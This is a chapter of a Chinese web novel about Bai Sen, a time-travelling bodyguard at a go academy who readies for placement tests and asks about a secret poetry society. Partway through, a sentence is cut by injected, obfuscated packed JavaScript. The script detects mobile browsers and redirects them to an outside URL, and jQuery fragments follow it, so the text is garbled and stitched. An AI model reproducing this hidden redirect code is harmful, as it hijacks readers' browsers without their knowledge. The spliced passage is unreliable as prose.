这一晚白森睡得很浅,一沉入梦境,脑海里就现出纷繁杂乱的画面,搅得她心神不宁。


    先是被困在九灵山的洞牢中,三日不见吃食,不知昼夜,谢瑜和沈照宁突然带领一群年轻的纨绔子弟闯进来,一边拉扯她的衣带一边叫喊着“我先来!”


    随后,是一袭墨衣的陆焕及时赶到,化身杀神,所到之处无人不伤,放倒所有人后他单手卡住沈照宁的脖子,将他抵在岩壁上,一遍又一遍地问“是不是你?”


    沈照宁在失去意识之前模模糊糊地说了一句“你是怎么会白拳的?白家不是已经……”


    梦境跳转,接下来是满墙密密麻麻的黑字,数不清的诗辞名句在地下房间的墙壁上漂浮不定,最终落定在那首咏鹅的千古名篇上。


    陈钰雪说,参与扬州叛乱的骆宾王被部下砍下了脑袋,但又有人在一座野寺见过他。


    梦里的画面变得诡谲了,白森走在林中,头顶是一轮有了亏缺的月亮,忽然见到一片宽阔的湖面,一个瘦削的身影坐在湖边,提笔在身前书写着什么。


    那人看不清面容,只是在其面前,两只雪白天鹅在月光下的湖面上嬉戏,仰起脖子冲天而鸣。


    曲项向天歌。


    白森猛地坐起来,浑身冷汗。


    “你怎么了?”陈钰雪坐在床边的梳妆台前,正对着铜镜打理她的长发。


    白森长长吸气,憋了一会儿才吐出来,她躺倒下去,回道:“我没事。”


    陈钰雪看了看她,没多说什么,回头对着铜镜继续收拾妆容。


    窗外的天空仍是漆黑一片,几点寒星尚在闪动,白森再难入睡,看向一丝不苟描绘眉黛的陈钰雪,不禁好奇问道:“你今天是要见什么人么?”


    “今天是我的登格测试,阿白,你忘了么?”陈钰雪眼睛放在铜镜上,一只眉角的青黛似让她有些不满,她在那儿反复修整。


    一回到棋院,陈钰雪这声“阿白”倒是叫得顺口,白森不满地扁了扁嘴,问道:“登格测试是什么?”


    陈钰雪好像是提过此事,但白森的心思都放在查案上,确实记不太清了。


    终于把眉黛描成满意的样子,陈钰雪又拿起胭脂盒,顺带细说道:“入学测试那天我的那盘棋下得还可以,曹景监院同意破例让我参加这次登格,只要我今天登格成功,拿到五品用智的棋品,我就有资格参加十天后的秋奕选拔。”


    白森“哦”了一声,心思已经转到别处去了。


    昨晚去竹馆的地下房间,于铁猜测那里满墙壁的诗都是诗社的人写在上面的,包括骆宾王的诗也是,这么说来,棋院中这个诗社就很有查探一番的必要。


    “对了,阿白,你猜今天我登格测试的对手是谁。”陈钰雪忙着给两侧脸颊上胭脂,用闲谈的口吻道。


    白森对陈钰雪看重的手谈始终提不起兴趣,她漫不经心地问道:“谁?”


    “朱启,”像是怕白森想不起来这人是谁,陈钰雪特意强调道,“就是那个风组二等的朱启。”


    白森眉角一扬,翻身坐起来,问道:“棋院里安排朱启做你的对手?”


    “不是安排的,”陈钰雪说,“登格测试是要与已经获得棋品的棋士手谈一局,其实在我入学棋院之前跟我同一批登格的棋生已经完成了抽签,两日前单独让我抽了一次,结果就让我抽到了朱启。”


    她放下胭脂盒,面有忧色,低沉道:“也怪我运气不好,现在朱启是唯一一个风组二等的棋生,可以说他的棋力在这棋院里是最强的,结果我偏偏就抽中了他。”


    “你必须要赢了朱启,才能登上那个什么格,对么?”


    “是登格,”陈钰雪掩口笑了,忧色散去一些,“倒也不是必须赢过他,以朱启的实力,我要赢他是痴人说梦。其实是欧阳山长和曹监院,还有全棋院的讲师一同观察我在与朱启对弈时的表现,来给我确定登格成绩。”


    “行吧,”白森也不知道说什么,“那望你勉力为之。”


    她打定主意,找个时机向朱启问问诗社的事,说不定他知道些什么。


    下床来快速收拾了一阵儿,正想拿阿琴留下的侍女衣裙穿上,陈钰雪止住了她。


    “晴姐姐给你准备了新的衣物。”陈钰雪看着铜镜,头也不回地道。


    没想到这个王爷的小女儿还挺用心,连衣物都备上了。白森走到衣箱边,看到里面是一套青色的短衣长裤,衣箱外还摆有一双皮质短靴。


    不是棋院里的棋生常穿的圆领宽袖长袍,而是干练的竖褐,白森拿起来,这衣衫滑过指尖,触感柔软光滑,是以上等丝绸和葛布制成,肩背之间有淡淡的纹饰。


    白森对古代的衣饰不甚了解,也能一眼就看出这套衣服绝非凡品。


    陈钰雪也收拾得差不多了,她起身来到衣箱旁,看着武晴送给白森的竖褐问:“怎么样?”


    这可比阿琴那套碍手碍脚的衣裙舒服多了,白森心喜,坦诚道:“很不错。”


    陈钰雪道:“我听晴姐姐说,她的太公是高祖麾下的大将,再加上她母亲的影响,淳王府里尚武,人人都会些拳脚,她来棋院时便把这套习武服也带来了,听说你身手了得,就把这套习武服送给你,快试试看。”


    白森把武晴送的衣裤都换上,双手双脚活动自如,连那双短靴也十分合脚,腰带一系,真有种女侠的风范。


    陈钰雪看着焕然一新的白森,笑道:“阿白,你就适合穿这样的衣服。”


    “代我谢谢你那个晴姐姐了。”白森打理着一对以护腕收紧的袖口说。


    “不用我代你谢她,”陈钰雪道,“一会儿你就能见到她,你亲口道谢吧。”


    收了这份礼,就正式成为陈钰雪和武晴两人的贴身侍卫了。白森点点头,道:“也好。”


    两人都收拾妥当了,推开门走出寝房,外面天还没亮,后院的场子里也没见几个人。


    “今天是登格测试,整个棋院专门停学一天,”陈钰雪带着白森走往另一座寝房,“我们先去找晴姐姐会合吧。”


    “她今天也参加登格测试么?”白森问。


    “是。”


    说着话,两人已来到后院北面的一座寝房前,隔了很远,白森就看到这座寝房门楣上的木牌刻的是“霜降”。


    武晴身份不一般,她带着随身丫鬟单独住在霜降下层,站在寝房外,透过窗看到房里有烛光闪动。


    陈钰雪上前轻敲房门,很快便有人来开了门,一个侍女装扮的姑娘探出头来,见是陈钰雪,低头行礼道:“陈小姐。”


    转头又看到站在陈钰雪身后的白森,这侍女同样行礼道:“白姑娘。”


    白森学着陈钰雪的样子向武晴的侍女见礼,听陈钰雪唤这侍女叫“采莲”。


    “两位稍等片刻,我家小姐马上就好了。”采莲关上了门。


    白森闻到一股淡淡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148635|162531||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的桂花香气,她退后几步,看到在这间编号为“霜降”的寝房后有一庭院,其中种有不少金桂树。


    桂花的花期已至,树上已经开了不少,想来这霜降寝房和旁边的寒露寝房住的应该都是家族地位显赫的女棋生。


    没等一会儿,武晴带着采莲开门走出来。


    “雪妹,等久了吧?”武晴亲切地笑着。


    “哪里的话。”陈钰雪回以得体的微笑。


    武晴又看向白森,点点头,淡笑道:“白姑娘真是好英气!”


    这是白森第一次见到淳王之女,她不得不承认,原来古王朝的皇族是真有仪态万方之姿。


    武晴不过十六岁,穿着与陈钰雪一样的棋生圆领袍衫,一双细眉如远山,眼眸澄澈如山泉,单论容貌可能不及陈钰雪那般天生丽质,但她身上显出来的端仪气度却不是皇商之女可以比的。


    她当然知道白森身上穿的是自己送的习武服,但她对此一字不提,甚至也不问问白森是否喜欢,只是一句“真是好英气”的称赞,立即就让受赠者如沐春风。


    皇族府上出来的人,果真是不一样。


    白森拱手见礼,“谢过武小姐。”


    陈钰雪伸手挽住武晴的手臂,欢喜道;“晴姐姐,时辰还早,我们先去?天玑棋馆看看场地,再一起去膳堂用朝食吧。”


    “好,听你的。”武晴道。


    陈钰雪挽着武晴走在前面,白森紧跟在后,侍女采莲小步走在最后。


    天色渐亮,一路上遇到些早起的棋生,其中有几个手臂用布条吊在胸口,还有一个头上缠了白纱,见到一身青色武服的白森,他们像见了煞星一般,一脸仓皇的远远躲开去。


    陈钰雪偷偷回头看了一眼白森,白森低着眼睛,就当什么也不知道。


    “白姑娘,你是武安白家的人么?”武晴忽然半侧过脸,看向白森。


    白森一怔。


    她穿越到此,在这副身躯的原主那里继承的只有生活经验和知识,其他的记忆尽皆缺失,她从不知道原主的身世。


    见白森面色为难,武晴歉意地笑了笑,没再多问,可能是为了让白森不要太尴尬,她看向身侧的陈钰雪,转移话题似地道:“雪妹,听说你抽中了朱启。”


    “是呀,”陈钰雪忧愁道,“偏让我遇上他了,我就想着,不要输得太丢人就行,大不了三个月后再登格嘛。”


    “朱启确实是我们棋院的翘楚,”武晴安慰道,“不过也不用太怕他,我跟他交过手,他很擅长谋局,棋路温和,决胜子总放在对手意料之外的那几步,是典型的南派棋下法,你不要跟他缠斗过久,可以多试试主动进攻,可能有奇效。”


    “谢谢晴姐姐提点!”陈钰雪两眼放光,“你抽中的对手是哪位师兄师姐呢?”


    “说起来也是好笑,”武晴温和一笑,“原本我抽中的是风组一等的谢瑜师兄,可是前两日听说他被一黑衣人打伤了,现在还离不了医馆,曹监院就临时安排了林组三等的萧楠师弟做我的对手。”


    陈钰雪再次回头,看向白森,不成想白森加快脚步走上前,来到武晴身旁,拱手道:“武小姐,我有一事想向你请教。”


    武晴也有些许讶异,一直跟在身后默声不语的白森怎么突然走上前来提问了。


    “白姑娘请说。”她回道。


    白森没想太多,径直问道:“你知道,这鸿清棋院里有一个诗社么?”